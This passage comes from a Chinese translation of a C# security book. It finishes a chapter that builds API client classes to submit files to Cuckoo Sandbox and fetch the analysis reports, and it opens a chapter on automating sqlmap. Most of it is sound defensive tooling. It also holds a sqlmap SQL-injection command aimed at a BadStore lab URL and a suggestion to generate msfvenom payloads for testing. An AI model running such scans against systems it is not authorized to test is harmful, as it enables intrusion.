重载的 ExecuteCommand() 方法接受三个参数:请求的 URI、HTTP 方法和一个字典,字典包含将通过 HTTP 多部分请求发送的参数。多部分请求允许你发送更复杂的数据,如二进制文件以及其他 HTTP 参数到 Web 服务器,这正是我们将要使用的方式。一个完整的多部分请求将在 Listing 8-9 中展示。如何发送这种类型的请求将在 Listing 8-7 中详细说明。
public JObject ➊ExecuteCommand(string uri, string method, IDictionary<string, object> parms)
{
HttpWebRequest req = (HttpWebRequest)WebRequest
.➋Create("http://" + this.Host + ":" + this.Port + uri);
req.➌Method = method;
string boundary = ➍String.Format("----------{0:N}", Guid.NewGuid());
byte[] data = ➎GetMultipartFormData(parms, boundary);
req.ContentLength = data.Length;
req.ContentType = ➏"multipart/form-data; boundary=" + boundary;
using (Stream parmStream = req.GetRequestStream())
parmStream.➐Write(data, 0, data.Length);
string resp = string.Empty;
using (Stream str = req.GetResponse().GetResponseStream())
using (StreamReader rdr = new StreamReader(str))
resp = rdr.➑ReadToEnd();
JObject obj = JObject.➒Parse(resp);
return obj;
}
示例 8-7:重载的 ExecuteCommand() 方法,它发起一个 multipart/form-data HTTP 请求
第二个,更复杂的 ExecuteCommand() 方法 ➊ 接受三个参数,如前所述。实例化一个新的请求 ➋ 并设置 HTTP 方法 ➌ 后,我们创建一个边界,边界将用于在多部分表单请求中分隔 HTTP 参数,使用 String.Format() ➍。一旦边界创建完成,我们调用 GetMultipartFormData() ➎(我们稍后将实现)来将作为第三个参数传递的参数字典转换为一个带有新边界的多部分 HTTP 表单。
在构建完多部分 HTTP 数据后,我们需要通过设置基于多部分 HTTP 数据的 ContentLength 和 ContentType 请求属性来设置 HTTP 请求。对于 ContentType 属性,我们还需要附加用于分隔 HTTP 参数的边界 ➏。最后,我们可以将 ➐ 多部分表单数据写入 HTTP 请求流并读取 ➑ 来自服务器的响应。通过从服务器获取最终响应后,我们将响应解析 ➒ 为 JSON,然后返回 JSON 对象。
这两个 ExecuteCommand() 方法将用于执行针对 Cuckoo Sandbox API 的 API 调用。但在我们开始调用 API 端点之前,我们需要再写一些代码。
使用 GetMultipartFormData() 方法创建多部分 HTTP 数据
尽管 GetMultipartFormData() 方法是与 Cuckoo Sandbox 通信的核心,但我不会逐行讲解它。这个方法实际上是 C# 核心库中一个小缺陷的好例子,因为制作一个多部分 HTTP 请求不应该这么复杂。不幸的是,目前没有一个易于使用的类可以帮助我们完成这个操作,所以我们需要创建这个方法,从头开始构建 HTTP 多部分请求。构建多部分 HTTP 请求的技术细节有些超出了我们要实现的目标,所以我只会简单概述这个方法的基本流程。完整的方法(见示例 8-8,去除了内联注释)是由 Brian Grinstead 编写的^(1),他的工作后来被纳入了 RestSharp 客户端 (restsharp.org/)。
private byte[] ➊GetMultipartFormData(IDictionary<string, object> postParameters, string boundary)
{
System.Text.Encoding encoding = System.Text.Encoding.ASCII;
Stream formDataStream = new System.IO.MemoryStream();
bool needsCLRF = false;
foreach (var param in postParameters)
{
if (needsCLRF)
formDataStream.Write(encoding.GetBytes("\r\n"), 0, encoding.GetByteCount("\r\n"));
needsCLRF = true;
if (param.Value is FileParameter)
{
FileParameter fileToUpload = (FileParameter)param.Value;
string header = string.Format("--{0}\r\nContent-Disposition: form-data; name="{1}";" +
"filename="{2}";\r\nContent-Type: {3}\r\n\r\n",
boundary,
param.Key,
fileToUpload.FileName ?? param.Key,
fileToUpload.ContentType ?? "application/octet-stream");
formDataStream.Write(encoding.GetBytes(header), 0, encoding.GetByteCount(header));
formDataStream.Write(fileToUpload.File, 0, fileToUpload.File.Length);
}
else
{
string postData = string.Format("--{0}\r\nContent-Disposition: form-data;" +
"name="{1}"\r\n\r\n{2}",
boundary,
param.Key,
param.Value);
formDataStream.Write(encoding.GetBytes(postData), 0, encoding.GetByteCount(postData));
}
}
string footer = "\r\n--" + boundary + "--\r\n";
formDataStream.Write(encoding.GetBytes(footer), 0, encoding.GetByteCount(footer));
formDataStream.Position = 0;
byte[] formData = new byte[formDataStream.Length];
formDataStream.Read(formData, 0, formData.Length);
formDataStream.Close();
return formData;
}
}
Listing 8-8: The GetMultipartFormData() method
在GetMultipartFormData()方法➊中,我们首先接受两个参数:第一个是参数及其各自值的字典,我们将把这些转换为一个 multipart 表单;第二个是用于分隔请求中文件参数的字符串,以便它们可以被解析。这个第二个参数叫做boundary,我们用它告诉 API 使用这个边界分隔 HTTP 请求体,然后将每个部分作为请求中的独立参数和值。这个过程可能难以想象,所以示例 8-9 详细介绍了一个示例 HTTP 多部分表单请求。
POST / HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: ➊multipart/form-data;
boundary➋=------------------------9051914041544843365972754266
Content-Length: 554
--------------------------9051914041544843365972754266➌
Content-Disposition: form-data; ➍name="text"
text default➎
--------------------------9051914041544843365972754266➏
Content-Disposition: form-data; name="file1"; filename="a.txt"
Content-Type: text/plain
Content of a.txt.
--------------------------9051914041544843365972754266➐
Content-Disposition: form-data; name="file2"; filename="a.html"
Content-Type: text/html
<!DOCTYPE html><title>Content of a.html.</title>--------------------------9051914041544843365972754266--➑
Listing 8-9: A sample HTTP multipart form request
这个 HTTP 请求看起来与我们正在尝试构建的请求非常相似,因此让我们指出在 GetMultipartFormData() 中提到的重要部分。首先,注意 Content-Type 头部是 multipart/form-data ➊,并且有一个边界 ➋,就像我们在示例 8-7 中设置的那样。这个边界将在整个 HTTP 请求中使用(➌、➏、➐、➑)来分隔每个 HTTP 参数。每个参数也都有一个参数名 ➍ 和一个参数值 ➎。GetMultipartFormData() 方法接受我们在字典参数中传递的参数名和值,以及边界,然后使用给定的边界将它们转换为类似的 HTTP 请求,以分隔每个参数。
使用 FileParameter 类处理文件数据
为了将我们想要分析的文件或恶意软件发送给 Cuckoo,我们需要创建一个类来存储文件的数据,例如文件类型、文件名和文件的实际内容。简单的 FileParameter 类封装了我们需要为 GetMultipartFormData() 方法提供的信息的一部分。它在示例 8-10 中展示。
public class ➊FileParameter
{
public byte[] File { get; set; }
public string FileName { get; set; }
public string ContentType { get; set; }
public ➋FileParameter(byte[] file, string filename, string contenttype)
{
➌File = file;
➍FileName = filename;
➎ContentType = contenttype;
}
}
示例 8-10: FileParameter 类
FileParameter 类 ➊ 表示我们需要构建一个 HTTP 参数,该参数将包含要分析的文件。该类的构造函数 ➋ 接受三个参数:包含文件内容的字节数组、文件名和内容类型。每个参数随后会被分配给相应的类属性(➌、➍、➎)。
测试 CuckooSession 和支持类
我们可以使用一个简短且简单的 Main() 方法来测试到目前为止所写的内容,该方法通过 API 请求 Cuckoo Sandbox 的状态。我们之前在 “检查 Cuckoo 状态”(第 149 页)中手动做过这件事。示例 8-11 展示了我们如何使用新的 CuckooSession 类来做到这一点。
public static void ➊Main(string[] args)
{
CuckooSession session = new ➋CuckooSession("127.0.0.1", 8090);
JObject response = session.➌ExecuteCommand("/cuckoo/status", "GET");
Console.➍WriteLine(response.ToString());
}
示例 8-11: 用于检索 Cuckoo Sandbox 状态的 Main() 方法
使用新的 Main() 方法 ➊,我们首先通过传递 Cuckoo Sandbox 运行的 IP 地址和端口来创建一个 CuckooSession 对象 ➋。如果 API 运行在本地机器上,IP 地址应该可以使用 127.0.0.1。IP 地址和端口(默认端口为 8090)应该在我们启动 API 时在示例 8-3 中已经设置过了。使用新的会话,我们调用 ExecuteCommand() 方法 ➌,传入 URI /cuckoo/status 作为第一个参数,HTTP 方法 GET 作为第二个参数。然后,响应通过 WriteLine() ➍ 打印到屏幕上。
运行 Main() 方法应该会在屏幕上打印一个 JSON 字典,包含 Cuckoo 的状态信息,具体细节见 Listing 8-12。
$ ./ch8_automating_cuckoo.exe
{
"cpuload": [
0.0,
0.03,
0.05
],
"diskspace": {
"analyses": {
"free": 342524416000,
"total": 486836101120,
"used": 144311685120
},
"binaries": {
"free": 342524416000,
"total": 486836101120,
"used": 144311685120
}
},
"hostname": "fdsa-E7450",
"machines": {
"available": 1,
"total": 1
},
"memory": 85.542549616647932,
"tasks": {
"completed": 0,
"pending": 0,
"reported": 2,
"running": 0,
"total": 12
},
"version": "2.0-rc2"
}
Listing 8-12: 测试 CuckooSession 类以打印 Cuckoo Sandbox 的当前状态信息
你可以看到,这里打印的 JSON 信息与我们之前手动运行 API 命令检查 Cuckoo 状态时得到的相同。
编写 CuckooManager 类
在实现了 CuckooSession 类和其他支持类之后,我们可以继续编写 CuckooManager 类,它将封装一些简单的 API 调用。要开始 CuckooManager 类,我们需要构造函数,如 Listing 8-13 所示。
public class ➊CuckooManager : ➋IDisposable
{
CuckooSession ➌_session = null;
public ➍CuckooManager(CuckooSession session)
{
➎_session = session;
}
Listing 8-13: 启动 CuckooManager 类
CuckooManager 类 ➊ 首先实现 IDisposable 接口 ➋,我们将利用该接口来处理私有的 _session 变量 ➌,当我们完成 CuckooManager 类的使用时。类的构造函数 ➍ 仅接受一个参数:与 Cuckoo Sandbox 实例进行通信时使用的会话。私有的 _session 变量会赋值为传递给构造函数的参数 ➎,这样我们接下来编写的方法就可以使用该会话来进行特定的 API 调用。
编写 CreateTask() 方法
CuckooManager 类中的第一个方法是 CreateTask(),它是我们编写的最复杂的管理方法。CreateTask() 方法实现了 HTTP 调用,该调用会根据我们要创建的任务类型,确定并执行正确的 HTTP 调用,具体见 Listing 8-14。
public int ➊CreateTask(Task task)
{
string param = null, uri = "/tasks/create/";
object val = null;
if ➋(task is FileTask)
{
byte[] 数据;
using (FileStream str = new ➌FileStream((task as FileTask).Filepath,
FileMode.Open,
FileAccess.Read))
{
data = new byte[str.Length];
str.➍Read(data, 0, data.Length);
}
param = "file";
uri += param;
val = new ➎FileParameter(data, (task as FileTask).Filepath,
"application/binary");
}
IDictionary<string, object> ➏parms = new Dictionary<string, object>();
parms.Add(param, val);
parms.Add("package", task.Package);
parms.Add("timeout", task.Timeout.ToString());
parms.Add("options", task.Options);
parms.Add("machine", ➐task.Machine);
parms.Add("platform", task.Platform);
parms.Add("custom", task.Custom);
parms.Add("memory", task.EnableMemoryDump.ToString());
parms.Add("enforce_timeout", task.EnableEnforceTimeout.ToString());
JObject resp = _session.➑ExecuteCommand(uri, "POST", parms);
return ➒(int)resp["task_id"];
}
列表 8-14:CreateTask() 方法
CreateTask() 方法 ➊ 首先检查传入的任务是否为 FileTask 类 ➋(用于描述要分析的文件或恶意软件的类)。由于 Cuckoo Sandbox 不仅支持分析文件(例如 URL),因此 CreateTask() 方法可以很容易地扩展为创建不同类型的任务。如果任务是 FileTask,我们会用新的 FileStream() ➌ 打开要发送到 Cuckoo Sandbox 的文件,并将文件读取到字节数组中。文件读取完成后 ➍,我们使用新的 FileParameter 类 ➎ 来创建文件名、文件字节和内容类型为 application/binary 的参数。
然后,我们在新的 Dictionary ➏ 中设置将发送到 Cuckoo Sandbox 的 HTTP 参数。这些 HTTP 参数在 Cuckoo Sandbox API 文档中有说明,并应包含创建任务所需的信息。这些参数允许我们更改默认配置项,例如选择使用哪个虚拟机 ➐。最后,我们通过调用 ExecuteCommand() ➑ 并使用字典中的参数来创建新任务,然后返回 ➒ 新的任务 ID。
任务详情和报告方法
为了能够提交我们的文件进行分析和报告,还需要支持更多的 API 调用,但它们比 CreateTask() 要简单得多,如列表 8-15 所述。我们只需要创建一个方法来显示任务详情,两个方法来报告我们的任务,还有一个方法来清理我们的会话。
public Task ➊GetTaskDetails(int id)
{
string uri = ➋"/tasks/view/" + id;
JObject resp = _session.➌ExecuteCommand(uri, "GET");
➍return TaskFactory.CreateTask(resp["task"]);
}
public JObject ➎GetTaskReport(int id)
{
return GetTaskReport(id, ➏"json");
}
public JObject ➐GetTaskReport(int id, string type)
{
string uri = ➑"/tasks/report/" + id + "/" + type;
return _session.➒ExecuteCommand(uri, "GET");
}
public void ➓Dispose()
{
_session = null;
}
}
列表 8-15:用于检索任务信息和报告的辅助方法
我们实现的第一个方法是 GetTaskDetails() 方法 ➊,它以任务 ID 作为唯一参数传入变量 id。我们首先通过将 ID 参数附加到 /tasks/view ➋ 来创建将进行 HTTP 请求的 URI,然后使用新的 URI 调用 ExecuteCommand() ➌。此端点返回有关任务的一些信息,例如运行任务的虚拟机名称和任务的当前状态,我们可以用这些信息来监控任务直到它完成。最后,我们使用 TaskFactory.CreateTask() 方法 ➍ 将 API 返回的 JSON 任务转换为 C# 的 Task 类,我们将在下一节中创建该类。
第二个方法是一个简单的便利方法 ➎。由于 Cuckoo Sandbox 支持多种报告类型(JSON、XML 等),因此有两个 GetTaskReport() 方法,第一个只用于 JSON 报告。它只接受要获取报告的任务 ID 作为参数,并调用其重载方法,传入相同的 ID,并指定第二个参数表明应该返回 JSON ➏ 报告。在第二个 GetTaskReport() 方法 ➐ 中,任务 ID 和报告类型作为参数传递,然后用于构建将在 API 调用中请求的 URI ➑。新的 URI 被传递给 ExecuteCommand() 方法 ➒,并返回来自 Cuckoo Sandbox 的报告。
最后,实现了 Dispose() 方法 ➓,它完成了 IDisposable 接口。该方法清理了我们与 API 通信时使用的会话,并将私有的 _session 变量赋值为 null。
创建任务抽象类
支持 CuckooSession 和 CuckooManager 类的是 Task 类,它是一个抽象类,存储了给定任务的大部分相关信息,以便可以作为属性轻松访问。清单 8-16 详细介绍了抽象的 Task 类。
public abstract class ➊Task
{
protected ➋Task(JToken token)
{
if (token != null)
{
this.AddedOn = ➌DateTime.Parse((string)token["added_on"]);
if (token["completed_on"].Type != JTokenType.Null)
this.CompletedOn = ➍DateTime.Parse(token["completed_on"].ToObject
()); this.Machine = (string)token["machine"];
this.Errors = token["errors"].ToObject
(); this.Custom = (string)token["custom"];
this.EnableEnforceTimeout = (bool)token["enforce_timeout"];
this.EnableMemoryDump = (bool)token["memory"];
this.Guest = token["guest"];
this.ID = (int)token["id"];
this.Options = token["options"].ToString();
this.Package = (string)token["package"];
this.Platform = (string)token["platform"];
this.Priority = (int)token["priority"];
this.SampleID = (int)token["sample_id"];
this.Status = (string)token["status"];
this.Target = (string)token["target"];
this.Timeout = (int)token["timeout"];
}
}
public string Package { get; set; }
public int Timeout { get; set; }
public string Options { get; set; }
public string Machine { get; set; }
public string Platform { get; set; }
public string Custom { get; set; }
public bool EnableMemoryDump { get; set; }
public bool EnableEnforceTimeout { get; set; }
public ArrayList Errors { get; set; }
public string Target { get; set; }
public int SampleID { get; set; }
public JToken Guest { get; set; }
public int Priority { get; set; }
public string Status { get; set;}
public int ID { get; set; }
public DateTime AddedOn { get; set; }
public DateTime CompletedOn { get; set; }
}
清单 8-16:抽象的 Task 类
尽管抽象的 Task 类 ➊ 起初看起来很复杂,但该类实际上只有一个构造函数和十几个属性。构造函数 ➋ 接受一个 JToken 作为参数,这是一个特殊的 JSON 类,如 JObject。JToken 用于将来自 JSON 的所有任务细节分配给类中的 C#属性。在构造函数中,第一个赋值的属性是 AddedOn 属性。使用 DateTime.Parse() ➌,任务创建时的时间戳将从字符串解析为 DateTime 类,并分配给 AddedOn 属性。如果任务已完成,CompletedOn 属性也会使用 DateTime.Parse() ➍进行同样的操作。其余的属性则直接使用传递给构造函数的 JSON 中的值进行赋值。
排序和创建不同的类类型
Cuckoo Sandbox 支持多种类型的任务,尽管我们只实现了其中一种(文件分析任务)。FileTask 类将从抽象的 Task 类继承,但它添加了一个新属性,用于存储我们希望发送给 Cuckoo 分析的文件路径。Cuckoo 支持的另一种任务是 URL 任务,它会在 web 浏览器中打开给定的 URL 并分析发生了什么(以防该网站存在 drive-by 攻击或其他恶意软件)。
创建 FileTask 类以执行文件分析任务
FileTask 类将用于存储启动文件分析所需的信息。如 Listing 8-17 所示,它简洁明了,因为它继承了我们刚刚实现的 Task 类的大部分属性。
public class ➊FileTask : Task
{
public ➋FileTask() : base(null) { }
public ➌FileTask(JToken dict) : base(dict) { }
public ➍string Filepath { get; set; }
}
Listing 8-17:继承自 Task 的 FileTask 类
简单的 FileTask 类 ➊,继承自之前的 Task 类,使用了 C#中一些高级的继承技巧。该类实现了两个不同的构造函数,两个构造函数都会将参数传递给基类 Task 的构造函数。例如,第一个构造函数 ➋ 不接受任何参数,并将 null 值传递给基类的构造函数。这使得我们可以为类保留一个不需要任何参数的默认构造函数。第二个构造函数 ➌ 接受一个 JToken 类作为唯一参数,并将 JSON 参数直接传递给基类构造函数,后者将填充 FileTask 类从 Task 继承的属性。这使得使用来自 Cuckoo API 的 JSON 轻松设置 FileTask。FileTask 类中唯一的属性是 Filepath ➍,这是提交文件分析任务时才有用的属性,在通用 Task 类中没有这个属性。
使用 TaskFactory 类来确定要创建的任务类型
Java 开发者或其他熟悉面向对象编程的人可能已经知道,工厂模式是面向对象开发中常用的设计模式。这是一种灵活的方式,通过一个类来管理许多相似但最终不同类型的类的创建(通常这些类都继承自同一个基类,但它们也可以实现相同的接口)。TaskFactory 类(见清单 8-18)用于将 Cuckoo Sandbox 返回的 JSON 任务转化为我们的 C# Task 类,无论是 FileTask 还是其他类型——也就是说,如果你选择进一步实现我们为作业描述的 URL 任务!
public static class ➊TaskFactory
{
public static Task ➋CreateTask(JToken dict)
{
Task task = null;
➌switch((string)dict["category"])
{
case ➍"file":
task = new ➎FileTask(dict);
break;
default:
throw new Exception("未知类别: " + dict["category"]);
}
return ➏task;
}
}
清单 8-18:TaskFactory 静态类,它实现了一个常见的简单工厂模式,通常用于面向对象编程
我们要实现的最终类是 TaskFactory 静态类 ➊。这个类是将 Cuckoo Sandbox 中的 JSON 任务转换为 C# 的 FileTask 对象的关键——如果你将来选择实现其他任务类型,也可以使用 TaskFactory 来处理这些任务的创建。TaskFactory 类只有一个静态方法 CreateTask() ➋,它接受一个 JToken 作为唯一参数。在 CreateTask() 方法中,我们使用 switch 语句 ➌ 来测试任务类别的值。如果类别是文件任务 ➍,我们将 JToken 任务传递给 FileTask 构造函数 ➎,然后返回新的 C# 任务 ➏。尽管本书中我们不会使用其他文件类型,但你可以使用这个 switch 语句根据任务类别创建不同类型的任务,例如基于类别的 URL 任务,然后返回结果。
整合起来
最后,我们已经搭建好了框架,开始自动化一些恶意软件分析。清单 8-19 演示了如何使用 CuckooSession 和 CuckooManager 类来创建一个文件分析任务,监视任务直到完成,并将任务的 JSON 报告打印到控制台。
public static void ➊Main(string[] args)
{
CuckooSession session = new ➋CuckooSession("127.0.0.1", 8090);
using (CuckooManager manager = new ➌CuckooManager(session))
{
FileTask task = new ➍FileTask();
task.➎Filepath = "/var/www/payload.exe";
int taskID = manager.➏CreateTask(task);
Console.WriteLine("创建任务: " + taskID);
task = (FileTask)manager.➐GetTaskDetails(taskID);
while(task.Status == "pending" || task.Status == "running")
{
Console.WriteLine("等待 30 秒..." + task.Status);
System.Threading.Thread.Sleep(30000);
task = (FileTask)manager.GetTaskDetails(taskID);
}
if (task.➑Status == "failure")
{
Console.Error.WriteLine("发生错误:");
foreach (var error in task.Errors)
Console.Error.WriteLine(error);
return;
}
string report = manager.➒GetTaskReport(taskID).ToString();
Console.➓WriteLine(report);
}
}
列表 8-19: Main() 方法将 CuckooSession 和 CuckooManager 类结合起来
在 Main() 方法 ➊ 中,我们首先创建一个新的 CuckooSession 实例 ➋,传入用于 API 请求的 IP 地址和端口。创建新的会话后,在 using 语句的上下文中,我们还创建一个新的 CuckooManager 对象 ➌ 和一个新的 FileTask 对象 ➍。我们还将任务的 Filepath 属性 ➎ 设置为文件系统上包含我们要分析的可执行文件的路径。为了测试,你可以使用 Metasploit 的 msfvenom 生成有效载荷(如我们在第四章中所做的那样),或者使用我们在第四章中编写的一些有效载荷。将 FileTask 设置为扫描的文件后,我们将任务传递给管理器的 CreateTask() 方法 ➏,并存储返回的 ID 以供后续使用。
一旦任务创建完成,我们调用 GetTaskDetails() ➐ 并传入由 CreateTask() 返回的任务 ID。当我们调用 GetTaskDetails() 时,该方法会返回一个状态。在这种情况下,我们只对两种状态感兴趣:待处理和失败。只要 GetTaskDetails() 返回待处理状态,我们就会向用户打印一个友好的消息,告知任务尚未完成,并让应用程序休眠 30 秒后再调用 GetTaskDetails() 获取任务状态。一旦状态不再是待处理状态,我们会检查状态是否为失败 ➑,以防在分析过程中出现问题。如果任务的状态是失败,我们会打印 Cuckoo Sandbox 返回的错误信息。
然而,如果状态不是失败,我们可以假设任务已成功完成分析,并且可以从 Cuckoo Sandbox 创建一个新报告,包含分析结果。我们调用 GetTaskReport() 方法 ➒,传入任务 ID 作为唯一参数,然后使用 WriteLine() ➓ 将报告打印到控制台屏幕上。
测试应用程序
通过自动化操作,我们终于可以驱动 Cuckoo Sandbox 实例运行并分析一个可能恶意的 Windows 可执行文件,然后检索运行任务的报告,如列表 8-20 所示。记得以管理员身份运行实例。
$ ./ch8_automating_cuckoo.exe
等待 30 秒...待处理
{
"info": {
"category": "file",
"score": 0.0,
"package": "",
"started": "2016-05-19 15:56:44",
"route": "none",
"custom": "",
"machine": {
"status": "stopped",
"name": "➊cuckoo1",
"label": "cuckoo1",
"manager": "VirtualBox",
"started_on": "2016-05-19 15:56:44",
"shutdown_on": "2016-05-19 15:57:09"
},
"ended": "2016-05-19 15:57:09",
"version": "2.0-rc2",
"platform": "",
"owner": "",
"options": "",
"id": 13,
"duration": 25
},
"signatures": [],
"target": {
"category": "file",
"file": {
"yara": [],
"sha1": "f145181e095285feeb6897c9a6bd2e5f6585f294",
"name": "bypassuac-x64.exe",
"type": "PE32+ 可执行文件(控制台) x86-64,适用于 MS Windows",
"sha256": "➋2a694038d64bc9cfcd8caf6af35b6bfb29d2cb0c95baaeffb2a11cd6e60a73d1",
"urls": [],
"crc32": "26FB5E54",
"path": "/home/bperry/tmp/cuckoo/storage/binaries/2a694038d2cb0c95baaeffb2a11cd6e60a73d1",
"ssdeep": null,
"size": 501248,
"sha512":
"4b09f243a8fcd71ec5bf146002519304fdbaf99f1276da25d8eb637ecbc9cebbc49b580c51e36c96c8548a41c38cc76
595ad1776eb9bd0b96cac17ca109d4d88",
"md5": "46a695c9a3b93390c11c1c072cf9ef7d"
}
},
--snip--
列表 8-20:Cuckoo Sandbox 分析 JSON 报告
Cuckoo Sandbox 的分析报告非常庞大。它包含了关于在 Windows 系统上运行你的可执行文件时发生的非常详细的信息。该列表展示了有关分析的基本元数据,如执行分析的机器 ➊ 和可执行文件的常见哈希值 ➋。一旦报告输出完成,我们就可以开始了解恶意软件在被感染系统上所做的事情,并制定修复和清理计划。
请注意,这里仅包含报告的部分内容。未显示的部分包括所做的巨大数量的 Windows API 和系统调用,操作过的文件以及其他极为详细的系统信息,这些信息可以帮助你更快地确定恶意软件样本在客户端机器上可能执行了什么。更多信息可以在 Cuckoo Sandbox 官方文档网站找到,了解具体报告内容以及如何使用:docs.cuckoosandbox.org/en/latest/usage/results/.
作为一种练习,你可以将完整的报告保存到文件中,而不是打印到控制台屏幕上,因为输出文件可能更适合未来的恶意软件分析!
结论
Cuckoo Sandbox 是一个强大的恶意软件分析框架,借助 API 功能,它可以轻松集成到工作流程、电子邮件服务器等基础设施中,甚至是事件响应操作手册中。通过在沙箱环境中运行文件和任意网站,安全专业人员可以轻松快速地确定攻击者是否通过有效载荷或驱动器攻击渗透了网络。
在本章中,我们能够通过核心 C# 类和库编程驱动 Cuckoo Sandbox 的这一功能。我们创建了一些类与 API 进行通信,然后创建了任务,并在任务完成时报告它们。然而,我们只实现了对基于文件的恶意软件分析的支持。我们构建的类是可扩展的,因此可以添加和支持新类型的任务,例如提交一个 URL 以在 Web 浏览器中打开的任务。
有了这样一个高质量且实用的框架,所有人都可以免费使用,任何人都可以将此功能添加到其组织的安全关键基础设施中,从而轻松减少发现和修复家庭或企业网络潜在安全漏洞所需的时间。
第九章
9
自动化 SQLMAP

本章中,我们制作了自动化利用 SQL 注入漏洞的工具。我们使用 sqlmap —— 一款流行的工具,你将在本章中学习 —— 来首先找到并验证易受 SQL 注入攻击的 HTTP 参数。之后,我们将该功能与我们在 第三章 中创建的 SOAP fuzzer 结合,自动验证易受攻击的 SOAP 服务中的潜在 SQL 注入漏洞。sqlmap 配备了一个 REST API,这意味着它使用 HTTP GET、PUT、POST 和 DELETE 请求来处理数据,并通过特殊的 URI 来引用数据库中的资源。我们在 第五章 中自动化了 Nessus 时也使用了 REST API。
sqlmap API 还使用 JSON 来读取发送到 API URL(在 REST 术语中称为端点)的 HTTP 请求中的对象。JSON 类似于 XML,它允许两个程序以标准方式交换数据,但它比 XML 更简洁、轻量。通常,sqlmap 是通过命令行手动使用的,但通过编程调用 JSON API 可以让你自动化更多任务,比普通的渗透测试工具更高效,从自动检测易受攻击的参数到利用它们。
sqlmap 是用 Python 编写的一个积极开发的工具,可在 GitHub 上找到,网址为 github.com/sqlmapproject/sqlmap/。你可以通过 git 或下载当前主分支的 ZIP 文件来获取 sqlmap。运行 sqlmap 需要安装 Python(在大多数 Linux 发行版中,通常会默认安装)。
如果你偏好 git,以下命令将检出最新的主分支:$ git clone https://github.com/sqlmapproject/sqlmap.git 如果你偏好 wget,你可以下载最新主分支的 ZIP 压缩包,如下所示:$ wget https://github.com/sqlmapproject/sqlmap/archive/master.zip
$ unzip master.zip 为了跟随本章的示例,你还应安装一个 JSON 序列化框架,如开源选项 Json.NET。你可以从 github.com/JamesNK/Newtonsoft.Json 下载,或者使用大多数 C# IDE 中可用的 NuGet 包管理器。我们在 第二章 和 第五章 中曾使用过此库。
运行 sqlmap
大多数安全工程师和渗透测试人员使用 Python 脚本 sqlmap.py(位于 sqlmap 项目的根目录或系统范围内安装)从命令行驱动 sqlmap。我们将在深入探讨 API 之前简要介绍 sqlmap 命令行工具的工作原理。Kali 已安装 sqlmap,因此你可以在系统的任何位置直接调用 sqlmap。虽然 sqlmap 命令行工具具有与 API 相同的总体功能,但在与其他代码集成时,直接调用命令行工具并不如通过 API 编程调用那样安全和灵活。
注意
如果你没有运行 Kali,可能已经下载了 sqlmap 但没有在系统上安装它。你仍然可以通过进入 sqlmap 所在的目录,并使用以下代码直接通过 Python 调用 sqlmap.py 脚本来使用 sqlmap,而无需将其系统范围安装:
$ python ./sqlmap.py [.. args ..]
一个典型的 sqlmap 命令可能如下所示,类似于清单 9-1 中的代码。
$ sqlmap ➊--method=GET --level=3 --technique=b ➋--dbms=mysql \
➌-u "http://10.37.129.3/cgi-bin/badstore.cgi?searchquery=fdsa&action=search"
清单 9-1:运行 BadStore 的示例 sqlmap 命令
我们目前不会涵盖清单 9-1 的输出,但请注意命令的语法。在这个清单中,我们传递给 sqlmap 的参数告诉它我们希望它测试一个特定的 URL(最好是一个熟悉的 URL,像我们在第二章中用 BadStore 测试的那个)。我们告诉 sqlmap 使用 GET 作为 HTTP 方法➊,并专门使用 MySQL➋负载(而不是包含 PostgreSQL 或 Microsoft SQL Server 的负载),然后是我们希望测试的 URL➌。你可以使用的 sqlmap 脚本参数只有一个小子集。如果你想手动尝试其他命令,可以在github.com/sqlmapproject/sqlmap/wiki/Usage/找到更详细的信息。我们可以使用 sqlmap REST API 来实现与清单 9-1 中 sqlmap 命令相同的功能。
在运行 sqlmapapi.py API 示例时,你可能需要与 sqlmap 工具不同的方式来运行 API 服务器,因为它可能不像 sqlmap.py 脚本那样安装,可以像在 Kali 中那样从系统 shell 调用。如果你需要下载 sqlmap 以便使用 sqlmap API,你可以在 GitHub 上找到它(github.com/sqlmapproject/sqlmap/)。
sqlmap REST API
关于 sqlmap REST API 的官方文档有些简略,但本书涵盖了使用它所需的所有内容。首先,运行 sqlmapapi.py --server(位于你之前下载的 sqlmap 项目目录的根目录)以启动 sqlmap API 服务器,监听 127.0.0.1(默认端口为 8775),如清单 9-2 所示。
$ ./sqlmapapi.py --server
[22:56:24] [INFO] 正在运行 REST-JSON API 服务器,地址为'127.0.0.1:8775'..
[22:56:24] [INFO] 管理员 ID: 75d9b5817a94ff9a07450c0305c03f4f
[22:56:24] [DEBUG] IPC 数据库: /tmp/sqlmapipc-34A3Nn
[22:56:24] [DEBUG] REST-JSON API 服务器已连接至 IPC 数据库 列表 9-2: 启动 sqlmap 服务器
sqlmap 有几个 REST API 端点,我们需要使用它们来创建自动化工具。为了使用 sqlmap,我们需要创建任务,然后使用 API 请求来处理这些任务。大多数可用的端点使用 GET 请求,旨在检索数据。要查看可用的 GET API 端点,可以在 sqlmap 项目根目录下运行 rgrep "@get",如列表 9-3 所示。此命令列出了许多可用的 API 端点,它们是 API 中用于某些操作的特殊 URL。
$ rgrep "@get" .
lib/utils/api.py:@get("/task/new➊")
lib/utils/api.py:@get("/task/taskid/delete➋")
lib/utils/api.py:@get("/admin/taskid/list")
lib/utils/api.py:@get("/admin/taskid/flush")
lib/utils/api.py:@get("/option/taskid/list")
lib/utils/api.py:@get("/scan/taskid/stop➌")
--snip--
列表 9-3: 可用的 sqlmap REST API GET 请求
很快我们将介绍如何使用 API 端点来创建➊、停止➌和删除➋sqlmap 任务。你可以将此命令中的@get 替换为@post,以查看 API 的可用端点,处理 POST 请求。只有三个 API 调用需要 HTTP POST 请求,如列表 9-4 所示。
$ rgrep "@post" .
lib/utils/api.py:@post("/option/taskid/get")
lib/utils/api.py:@post("/option/taskid/set")
lib/utils/api.py:@post("/scan/taskid/start") 列表 9-4: 用于 POST 请求的 REST API 端点
在使用 sqlmap API 时,我们需要创建一个任务,以测试给定的 URL 是否存在 SQL 注入。任务通过其任务 ID 来标识,我们将在列表 9-3 和 9-4 中的 API 选项中用任务 ID 替换 taskid。我们可以使用 curl 测试 sqlmap 服务器,确保它正常运行,并且对 API 的行为和返回的数据有所了解。这将帮助我们更好地理解当我们开始编写 sqlmap 类时,我们的 C#代码将如何工作。
使用 curl 测试 sqlmap API
